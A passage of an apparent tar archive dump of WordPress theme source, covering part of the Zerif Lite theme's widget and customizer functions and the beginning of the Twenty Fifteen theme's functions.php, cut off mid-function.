echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
if ( ! class_exists( 'zerif_team_widget' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Team member widget
*/
class zerif_team_widget extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'zerif_team-widget',
__( 'Zerif - Team member widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue widget scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Instance widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 team-box">';
echo '<div class="team-member" tabindex="0">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $instance['image_uri'] ) . '" alt=""/>';
echo '</figure>';
} elseif ( ! empty( $instance['custom_media_id'] ) ) {
$zerif_team_custom_media_id = wp_get_attachment_image_url( $instance['custom_media_id'] );
$alt = get_post_meta( $instance['custom_media_id'], '_wp_attachment_image_alt', true );
if ( ! empty( $zerif_team_custom_media_id ) ) {
echo '<figure class="profile-pic">';
echo '<img src="' . esc_url( $zerif_team_custom_media_id ) . '" alt="' . esc_attr( $alt ) . '"/>';
echo '</figure>';
}
}
echo '<div class="member-details">';
if ( ! empty( $instance['name'] ) ) {
echo '<h3 class="dark-text red-border-bottom">' . apply_filters( 'widget_title', $instance['name'] ) . '</h3>';
}
if ( ! empty( $instance['position'] ) ) {
echo '<div class="position">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['position'] ) ) . '</div>';
}
echo '</div>';
echo '<div class="social-icons">';
echo '<ul>';
$zerif_team_target = '_self';
if ( ! empty( $instance['open_new_window'] ) ) {
$zerif_team_target = '_blank';
}
if ( ! empty( $instance['fb_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['fb_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Facebook link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-facebook"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['tw_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['tw_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Twitter link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-twitter"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['bh_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['bh_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Behance link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-behance"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['db_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['db_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Dribble link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-dribbble"></i>';
echo '</a>';
echo '</li>';
}
if ( ! empty( $instance['ln_link'] ) ) {
echo '<li>';
echo '<a href="' . apply_filters( 'widget_title', $instance['ln_link'] ) . '" target="' . $zerif_team_target . '">';
if ( ! empty( $instance['name'] ) ) {
echo '<span class="sr-only">' . __( 'Linkedin link', 'zerif-lite' ) . '</span>';
}
echo '<i class="fa fa-linkedin"></i>';
echo '</a>';
echo '</li>';
}
echo '</ul>';
echo '</div>';
if ( ! empty( $instance['description'] ) ) {
echo '<div class="details">' . htmlspecialchars_decode( apply_filters( 'widget_title', $instance['description'] ) ) . '</div>';
}
echo '</div>';
echo '</div>';
echo $args['after_widget'];
}
/**
* Update the widget
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['name'] = sanitize_text_field( $new_instance['name'] );
$instance['position'] = stripslashes( wp_filter_post_kses( $new_instance['position'] ) );
$instance['description'] = stripslashes( wp_filter_post_kses( $new_instance['description'] ) );
$instance['fb_link'] = esc_url( $new_instance['fb_link'] );
$instance['tw_link'] = esc_url( $new_instance['tw_link'] );
$instance['bh_link'] = esc_url( $new_instance['bh_link'] );
$instance['db_link'] = esc_url( $new_instance['db_link'] );
$instance['ln_link'] = esc_url( $new_instance['ln_link'] );
$instance['image_uri'] = esc_url( $new_instance['image_uri'] );
$instance['open_new_window'] = strip_tags( $new_instance['open_new_window'] );
$instance['custom_media_id'] = sanitize_text_field( $new_instance['custom_media_id'] );
$instance['image_in_customizer'] = esc_url( $new_instance['image_in_customizer'] );
return $instance;
}
/**
* Form the widget
*/
function form( $instance ) {
echo '<p>';
echo '<label for="' . $this->get_field_id( 'name' ) . '">' . __( 'Name', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'name' ) . '" id="' . $this->get_field_id( 'name' ) . '" value="';
if ( ! empty( $instance['name'] ) ) {
echo $instance['name'];
}
echo '" class="widefat"/>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'position' ) . '">' . __( 'Position', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'position' ) . '" id="' . $this->get_field_id( 'position' ) . '">';
if ( ! empty( $instance['position'] ) ) {
echo htmlspecialchars_decode( $instance['position'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'description' ) . '">' . __( 'Description', 'zerif-lite' ) . '</label><br/>';
echo '<textarea class="widefat" rows="8" cols="20" name="' . $this->get_field_name( 'description' ) . '" id="' . $this->get_field_id( 'description' ) . '">';
if ( ! empty( $instance['description'] ) ) {
echo htmlspecialchars_decode( $instance['description'] );
}
echo '</textarea>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'fb_link' ) . '">' . __( 'Facebook link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'fb_link' ) . '" id="' . $this->get_field_id( 'fb_link' ) . '" value="';
if ( ! empty( $instance['fb_link'] ) ) {
echo $instance['fb_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'tw_link' ) . '">' . __( 'Twitter link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'tw_link' ) . '" id="' . $this->get_field_id( 'tw_link' ) . '" value="';
if ( ! empty( $instance['tw_link'] ) ) {
echo $instance['tw_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'bh_link' ) . '">' . __( 'Behance link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'bh_link' ) . '" id="' . $this->get_field_id( 'bh_link' ) . '" value="';
if ( ! empty( $instance['bh_link'] ) ) {
echo $instance['bh_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'db_link' ) . '">' . __( 'Dribble link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'db_link' ) . '" id="' . $this->get_field_id( 'db_link' ) . '" value="';
if ( ! empty( $instance['db_link'] ) ) {
echo $instance['db_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'ln_link' ) . '">' . __( 'Linkedin link', 'zerif-lite' ) . '</label><br/>';
echo '<input type="text" name="' . $this->get_field_name( 'ln_link' ) . '" id="' . $this->get_field_id( 'ln_link' ) . '" value="';
if ( ! empty( $instance['ln_link'] ) ) {
echo $instance['ln_link'];
}
echo '" class="widefat">';
echo '</p>';
echo '<p>';
echo '<input type="checkbox" name="' . $this->get_field_name( 'open_new_window' ) . '" id="' . $this->get_field_id( 'open_new_window' ) . '"';
if ( ! empty( $instance['open_new_window'] ) ) {
checked( (bool) $instance['open_new_window'], true );
}
echo '>' . __( 'Open links in new window?', 'zerif-lite' ) . '<br>';
echo '</p>';
echo '<p>';
echo '<label for="' . $this->get_field_id( 'image_uri' ) . '">' . __( 'Image', 'zerif-lite' ) . '</label><br/>';
$image_in_customizer = '';
$display = 'none';
if ( ! empty( $instance['image_in_customizer'] ) && ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_in_customizer'] );
$display = 'inline-block';
} else {
if ( ! empty( $instance['image_uri'] ) ) {
$image_in_customizer = esc_url( $instance['image_uri'] );
$display = 'inline-block';
}
}
$zerif_image_in_customizer = $this->get_field_name( 'image_in_customizer' );
echo '<input type="hidden" class="custom_media_display_in_customizer" name="';
if ( ! empty( $zerif_image_in_customizer ) ) {
echo $zerif_image_in_customizer;
}
echo '" value="';
if ( ! empty( $instance['image_in_customizer'] ) ) {
echo $instance['image_in_customizer'];
}
echo '">';
echo '<img class="custom_media_image" src="' . $image_in_customizer . '" style="margin:0;padding:0;max-width:100px;float:left;display:' . $display . '" alt="' . __( 'Uploaded image', 'zerif-lite' ) . '"/><br/>';
echo '<input type="text" class="widefat custom_media_url" name="' . $this->get_field_name( 'image_uri' ) . '" id="' . $this->get_field_id( 'image_uri' ) . '" value="';
if ( ! empty( $instance['image_uri'] ) ) {
echo $instance['image_uri'];
}
echo '" style="margin-top:5px;">';
echo '<input type="button" class="button button-primary custom_media_button" id="custom_media_button" name="' . $this->get_field_name( 'image_uri' ) . '" value="' . __( 'Upload Image', 'zerif-lite' ) . '" style="margin-top:5px;">';
echo '</p>';
echo '<input class="custom_media_id" id="' . $this->get_field_id( 'custom_media_id' ) . '" name="' . $this->get_field_name( 'custom_media_id' ) . '" type="hidden" value="';
if ( ! empty( $instance['custom_media_id'] ) ) {
echo $instance['custom_media_id'];
}
echo '"/>';
}
}
}
/**
* Register CSS needed in customizer
*/
function zerif_customizer_custom_css() {
wp_enqueue_style( 'zerif_customizer_custom_css', get_template_directory_uri() . '/css/zerif_customizer_custom_css.css' );
}
add_action( 'customize_controls_print_styles', 'zerif_customizer_custom_css' );
add_filter( 'body_class', 'remove_class_function' );
/**
* Remove custom-background from body_class()
*/
function remove_class_function( $classes ) {
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
/* For new users with static page */
if ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) {
if ( ! is_front_page() && ! is_home() ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
} else {
if ( ! is_home() && ! is_page_template( 'template-frontpage.php' ) ) {
// index of custom-background
$key = array_search( 'custom-background', $classes );
// remove class
unset( $classes[ $key ] );
}
}
return $classes;
}
add_action( 'customize_save_after', 'zerif_lite_update_options_in_pirate_forms', 99 );
/**
* Update Pirate Forms plugin when there is a change in Customizer Contact us section
*/
function zerif_lite_update_options_in_pirate_forms() {
/* if Pirate Forms is installed */
if ( defined( 'PIRATE_FORMS_VERSION' ) ) :
$zerif_lite_current_mods = get_theme_mods(); /* all theme modification values in Customize for Zerif Lite */
$pirate_forms_settings_array = get_option( 'pirate_forms_settings_array' ); /* Pirate Forms's options's array */
if ( ! empty( $zerif_lite_current_mods ) ) :
if ( isset( $zerif_lite_current_mods['zerif_contactus_button_label'] ) ) :
$pirate_forms_settings_array['pirateformsopt_label_submit_btn'] = $zerif_lite_current_mods['zerif_contactus_button_label'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_email'] ) ) :
$pirate_forms_settings_array['pirateformsopt_email'] = $zerif_lite_current_mods['zerif_contactus_email'];
$pirate_forms_settings_array['pirateformsopt_email_recipients'] = $zerif_lite_current_mods['zerif_contactus_email'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] ) && ( $zerif_lite_current_mods['zerif_contactus_recaptcha_show'] == 1 ) ) :
if ( isset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] ) ) :
unset( $pirate_forms_settings_array['pirateformsopt_recaptcha_field'] );
endif;
else :
$pirate_forms_settings_array['pirateformsopt_recaptcha_field'] = 'yes';
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_sitekey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_sitekey'] = $zerif_lite_current_mods['zerif_contactus_sitekey'];
endif;
if ( isset( $zerif_lite_current_mods['zerif_contactus_secretkey'] ) ) :
$pirate_forms_settings_array['pirateformsopt_recaptcha_secretkey'] = $zerif_lite_current_mods['zerif_contactus_secretkey'];
endif;
endif;
if ( ! empty( $pirate_forms_settings_array ) ) :
update_option( 'pirate_forms_settings_array', $pirate_forms_settings_array ); /* Update the options */
endif;
endif;
}
/**
* Function to check if version 1.8.5 or less has been previously installed.
*/
function zerif_check_if_old_version_of_theme() {
$old_zerif_option = get_theme_mod( 'zerif_bigtitle_title' );
$old_zerif_option_2 = get_theme_mod( 'zerif_bigtitle_redbutton_label' );
$old_zerif_option_3 = get_theme_mod( 'zerif_ourfocus_title' );
if ( ! empty( $old_zerif_option ) || ! empty( $old_zerif_option_2 ) || ! empty( $old_zerif_option_3 ) ) {
return true;
}
return false;
}
/**
* Add starter content for fresh sites
*
* @since 1.8.5.12
*/
function zerif_starter_content() {
/*
* Starter Content Support
*/
add_theme_support(
'starter-content',
array(
// Twenty Seventeen
'posts' => array(
'home',
'blog',
),
'nav_menus' => array(
'primary' => array(
'name' => __( 'Primary Menu', 'zerif-lite' ),
'items' => array(
'page_home',
'page_blog',
),
),
),
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
)
);
}
add_action( 'after_setup_theme', 'zerif_starter_content' );
/**
* Save activation time.
*/
function zerif_time_activated() {
update_option( 'zerif_time_activated', time() );
}
add_action( 'after_switch_theme', 'zerif_time_activated' );
/**
* BeaverBuilder Upgrade
*/
function zerif_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=zf';
}
add_filter( 'fl_builder_upgrade_url', 'zerif_bb_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like adding a new recommended action in About Zerif page.
*
* @since 1.8.5.31
* @access public
* @return bool
*/
function zerif_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'zerif_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
add_action( 'woocommerce_before_checkout_form', 'zerif_coupon_after_order_table_js' );
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#zerif-checkout-coupon" );
'
);
}
add_action( 'woocommerce_checkout_order_review', 'zerif_coupon_after_order_table' );
/**
* Checkout page
* Add the id zerif-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table() {
echo '<div id="zerif-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Max Mega Menu Zerif Theme
**/
function megamenu_add_theme_zerif_lite_max_menu( $themes ) {
$themes['zerif_lite_max_menu'] = array(
'title' => 'Zerif Lite',
'menu_item_align' => 'right',
'menu_item_link_height' => '70px',
'container_background_from' => 'rgb(255, 255, 255)',
'container_background_to' => 'rgb(255, 255, 255)',
'menu_item_background_hover_from' => 'rgb(255, 255, 255)',
'menu_item_background_hover_to' => 'rgb(255, 255, 255)',
'menu_item_link_font_size' => '15px',
'menu_item_link_color' => 'rgb(49, 49, 49)',
'menu_item_link_color_hover' => 'rgb(233, 102, 86)',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '15px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '15px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => 'rgb(233, 102, 86)',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '15px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '15px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '15px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => 'rgb(233, 102, 86)',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '15px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_zerif_lite_max_menu' );
/**
* Function that decide if current date is before a certain date.
*
* @param string $date Date to compare.
* @return bool
*/
function zerif_is_before_date( $date ) {
$countdown_time = strtotime( $date );
$current_time = time();
return $current_time <= $countdown_time;
}
home/xbodynamge/www/wp-content/themes/twentyfifteen/functions.php 0000604 00000034105 15113402531 0021446 0 ustar 00 <?php
/**
* Twenty Fifteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://codex.wordpress.org/Child_Themes
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Fifteen
* @since Twenty Fifteen 1.0
*/
/**
* Set the content width based on the theme's design and stylesheet.
*
* @since Twenty Fifteen 1.0
*/
if ( ! isset( $content_width ) ) {
$content_width = 660;
}
/**
* Twenty Fifteen only works in WordPress 4.1 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentyfifteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* @since Twenty Fifteen 1.0
*/
function twentyfifteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyfifteen
* If you're building a theme based on twentyfifteen, use a find and replace
* to change 'twentyfifteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentyfifteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* See: https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 825, 510, true );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'primary' => __( 'Primary Menu', 'twentyfifteen' ),
'social' => __( 'Social Links Menu', 'twentyfifteen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
) );
/*
* Enable support for custom logo.
*
* @since Twenty Fifteen 1.5
*/
add_theme_support( 'custom-logo', array(
'height' => 248,
'width' => 248,
'flex-height' => true,
) );
$color_scheme = twentyfifteen_get_color_scheme();
$default_color = trim( $color_scheme[0], '#' );
// Setup the WordPress core custom background feature.
/**
* Filter Twenty Fifteen custom-header support arguments.
*
* @since Twenty Fifteen 1.0
*
* @param array $args {
* An array of custom-header support arguments.
*
* @type string $default-color Default color of the header.
* @type string $default-attachment Default attachment of the header.
* }
*/
add_theme_support( 'custom-background', apply_filters( 'twentyfifteen_custom_background_args', array(
'default-color' => $default_color,
'default-attachment' => 'fixed',
) ) );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentyfifteen_fonts_url() ) );
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentyfifteen_setup
add_action( 'after_setup_theme', 'twentyfifteen_setup' );
/**
* Register widget area.
*
* @since Twenty Fifteen 1.0
*
* @link https://codex.wordpress.org/Function_Reference/register_sidebar
*/
function twentyfifteen_widgets_init() {
register_sidebar( array(
'name' => __( 'Widget Area', 'twentyfifteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentyfifteen' ),
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentyfifteen_widgets_init' );
if ( ! function_exists( 'twentyfifteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Fifteen.
*
* @since Twenty Fifteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentyfifteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/*
* Translators: If there are characters in your language that are not supported
* by Noto Sans, translate this to 'off'. Do not translate into your own language.
*/
if ( 'off' !== _x( 'on', 'Noto Sans font: on or off', 'twentyfifteen' ) ) {
$fonts[] = 'Noto Sans:400italic,700italic,400,700';
}
/*
* Translators: If there are characters in your language that are not supported
* by Noto Serif, translate this to 'off'. Do not translate into your own language.
*/
if ( 'off' !== _x( 'on', 'Noto Serif font: on or off', 'twentyfifteen' ) ) {
$fonts[] = 'Noto Serif:400italic,700italic,400,700';
}
/*
* Translators: If there are characters in your language that are not supported
* by Inconsolata, translate this to 'off'. Do not translate into your own language.
*/
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentyfifteen' ) ) {
$fonts[] = 'Inconsolata:400,700';
}
/*
* Translators: To add an additional character subset specific to your language,
* translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language.
*/
$subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'twentyfifteen' );
if ( 'cyrillic' == $subset ) {
$subsets .= ',cyrillic,cyrillic-ext';
} elseif ( 'greek' == $subset ) {
$subsets .= ',greek,greek-ext';
} elseif ( 'devanagari' == $subset ) {
$subsets .= ',devanagari';
} elseif ( 'vietnamese' == $subset ) {
$subsets .= ',vietnamese';
}
if ( $fonts ) {
$fonts_url = add_query_arg( array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
), 'https://fonts.googleapis.com/css' );
}
return $fonts_url;
}
endif;
/**
* JavaScript Detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Fifteen 1.1
*/
function twentyfifteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentyfifteen_javascript_detection', 0 );
/**
* Enqueue scripts and styles.
*
* @since Twenty Fifteen 1.0
*/
function twentyfifteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentyfifteen-fonts', twentyfifteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.2' );
// Load our main stylesheet.
wp_enqueue_style( 'twentyfifteen-style', get_stylesheet_uri() );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentyfifteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfifteen-style' ), '20141010' );
wp_style_add_data( 'twentyfifteen-ie', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentyfifteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentyfifteen-style' ), '20141010' );
wp_style_add_data( 'twentyfifteen-ie7', 'conditional', 'lt IE 8' );
wp_enqueue_script( 'twentyfifteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20141010', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentyfifteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20141010' );
}
wp_enqueue_script( 'twentyfifteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150330', true );
wp_localize_script( 'twentyfifteen-script', 'screenReaderText', array(
'expand' => '<span class="screen-reader-text">' . __( 'expand child menu', 'twentyfifteen' ) . '</span>',
'collapse' => '<span class="screen-reader-text">' . __( 'collapse child menu', 'twentyfifteen' ) . '</span>',
) );
}
add_action( 'wp_enqueue_scripts', 'twentyfifteen_scripts' );
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Fifteen 1.7
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array URLs to print for resource hints.
*/
function twentyfifteen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentyfifteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
} else {
$urls[] = 'https://fonts.gstatic.com';
}
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentyfifteen_resource_hints', 10, 2 );
/**
* Add featured image as background image to post navigation elements.
*
* @since Twenty Fifteen 1.0
*
* @see wp_add_inline_style()
*/
function twentyfifteen_post_nav_background() {
if ( ! is_single() ) {
return;
}
$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
$next = get_adjacent_post( false, '', false );
$css = '';
if ( is_attachment() && 'attachment' == $previous->post_type ) {
return;
}
if ( $previous && has_post_thumbnail( $previous->ID ) ) {
$prevthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $previous->ID ), 'post-thumbnail' );
$css .= '
